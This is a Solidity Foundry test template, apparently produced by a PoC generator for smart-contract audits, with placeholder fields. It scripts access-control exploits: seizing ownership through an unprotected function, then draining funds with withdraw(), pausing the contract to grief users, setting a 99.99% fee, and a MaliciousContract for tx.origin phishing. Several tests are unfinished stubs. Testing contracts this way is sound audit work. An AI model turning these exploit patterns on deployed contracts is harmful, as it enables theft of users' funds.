// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "forge-std/console.sol";

// {{CUSTOM_IMPORTS}}

/**
 * @title {{CONTRACT_NAME}} Access Control Exploit PoC
 * @notice Proof of Concept for access control vulnerability
 * @dev Generated by MIESC PoC Generator
 *
 * Vulnerability: {{DESCRIPTION}}
 * Severity: {{SEVERITY}}
 * Target Function: {{TARGET_FUNCTION}}
 * Generated: {{TIMESTAMP}}
 *
 * Attack Vector:
 * 1. Attacker identifies unprotected privileged function
 * 2. Calls function without required authorization
 * 3. Performs unauthorized actions (drain funds, change state)
 */
contract {{CONTRACT_NAME}}AccessControlTest is Test {
    // Target contract interface
    interface IVulnerable {
        function owner() external view returns (address);
        function {{TARGET_FUNCTION}}(address newOwner) external;
        function withdraw() external;
        function pause() external;
        function unpause() external;
        function setFee(uint256 newFee) external;
        function emergencyWithdraw() external;
    }

    // Contracts
    IVulnerable public target;

    // Addresses
    address public attacker;
    address public legitimateOwner;
    address public victim;

    function setUp() public {
        attacker = makeAddr("attacker");
        legitimateOwner = makeAddr("legitimateOwner");
        victim = makeAddr("victim");

        vm.deal(attacker, {{ATTACKER_BALANCE}});
        vm.deal(victim, {{VICTIM_BALANCE}});

        // {{FORK_CONFIG}}

        // Deploy target as legitimate owner
        // vm.prank(legitimateOwner);
        // target = IVulnerable(deployCode("{{CONTRACT_NAME}}.sol"));

        // {{CUSTOM_SETUP}}

        console.log("=== Setup Complete ===");
        console.log("Legitimate owner:", legitimateOwner);
        console.log("Attacker:", attacker);
    }

    function test_exploit_missing_access_control() public {
        console.log("\n=== Testing Missing Access Control ===");

        // Verify current owner
        address currentOwner = target.owner();
        console.log("Current owner:", currentOwner);
        assertEq(currentOwner, legitimateOwner, "Owner should be legitimate");

        // Attacker attempts to call privileged function
        vm.startPrank(attacker);

        console.log("Attacker calling privileged function...");

        // This should fail if properly protected
        // But if vulnerable, attacker gains control
        try target.{{TARGET_FUNCTION}}(attacker) {
            console.log("SUCCESS: Attacker called privileged function!");

            // Verify ownership transferred
            address newOwner = target.owner();
            console.log("New owner:", newOwner);

            assertEq(newOwner, attacker, "Attacker should be new owner");
        } catch {
            console.log("FAILED: Function is properly protected");
        }

        vm.stopPrank();
    }

    function test_exploit_tx_origin_auth() public {
        console.log("\n=== Testing tx.origin Authentication ===");

        // tx.origin vulnerability allows phishing attacks
        // where attacker tricks owner into calling malicious contract

        vm.prank(legitimateOwner);
        // If target uses tx.origin, this would pass even from malicious contract
        // MaliciousContract(attacker).trick(target);
    }

    function test_exploit_initialization() public {
        console.log("\n=== Testing Uninitialized Proxy ===");

        // Many proxies are vulnerable to initialization front-running
        // Attacker can call initialize() before legitimate deployment

        vm.prank(attacker);
        // target.initialize(attacker);

        // Verify attacker is now owner
        // assertEq(target.owner(), attacker);
    }

    function test_exploit_role_escalation() public {
        console.log("\n=== Testing Role Escalation ===");

        // Check if attacker can grant themselves roles
        vm.startPrank(attacker);

        // Attempt to grant admin role
        // target.grantRole(ADMIN_ROLE, attacker);

        // Check if attacker has role now
        // assertTrue(target.hasRole(ADMIN_ROLE, attacker));

        vm.stopPrank();
    }

    function test_drain_funds_after_takeover() public {
        console.log("\n=== Draining Funds After Takeover ===");

        // Fund the target contract
        vm.deal(address(target), 10 ether);
        console.log("Target balance:", address(target).balance);

        // First, take over ownership
        vm.prank(attacker);
        try target.{{TARGET_FUNCTION}}(attacker) {
            console.log("Ownership taken!");

            // Now drain funds
            uint256 attackerBalanceBefore = attacker.balance;

            vm.prank(attacker);
            target.withdraw();

            uint256 attackerBalanceAfter = attacker.balance;
            console.log("Attacker profit:", attackerBalanceAfter - attackerBalanceBefore);

            assertGt(attackerBalanceAfter, attackerBalanceBefore, "Should have drained funds");
        } catch {
            console.log("Could not take ownership");
        }
    }

    function test_pause_griefing() public {
        console.log("\n=== Testing Pause Griefing ===");

        // If pause() is unprotected, attacker can grief users
        vm.prank(attacker);
        try target.pause() {
            console.log("Contract paused by attacker!");

            // Verify contract is paused
            // assertTrue(target.paused());

            // Users cannot interact
            vm.prank(victim);
            vm.expectRevert();
            target.withdraw();
        } catch {
            console.log("Pause is properly protected");
        }
    }

    function test_fee_manipulation() public {
        console.log("\n=== Testing Fee Manipulation ===");

        // If setFee() is unprotected, attacker can set extreme fees
        vm.prank(attacker);
        try target.setFee(9999) { // 99.99% fee
            console.log("Fee set to 99.99% by attacker!");

            // This would cause massive losses for users
        } catch {
            console.log("Fee setting is properly protected");
        }
    }
}

/**
 * @title MaliciousContract
 * @notice Used for tx.origin phishing attacks
 */
contract MaliciousContract {
    function trick(address target) external {
        // When legitimate owner calls this,
        // tx.origin will be the owner
        // msg.sender will be this contract

        // If target checks tx.origin instead of msg.sender,
        // this call will succeed as "authorized"

        (bool success,) = target.call(
            abi.encodeWithSignature("{{TARGET_FUNCTION}}(address)", address(this))
        );
        require(success, "Attack failed");
    }
}
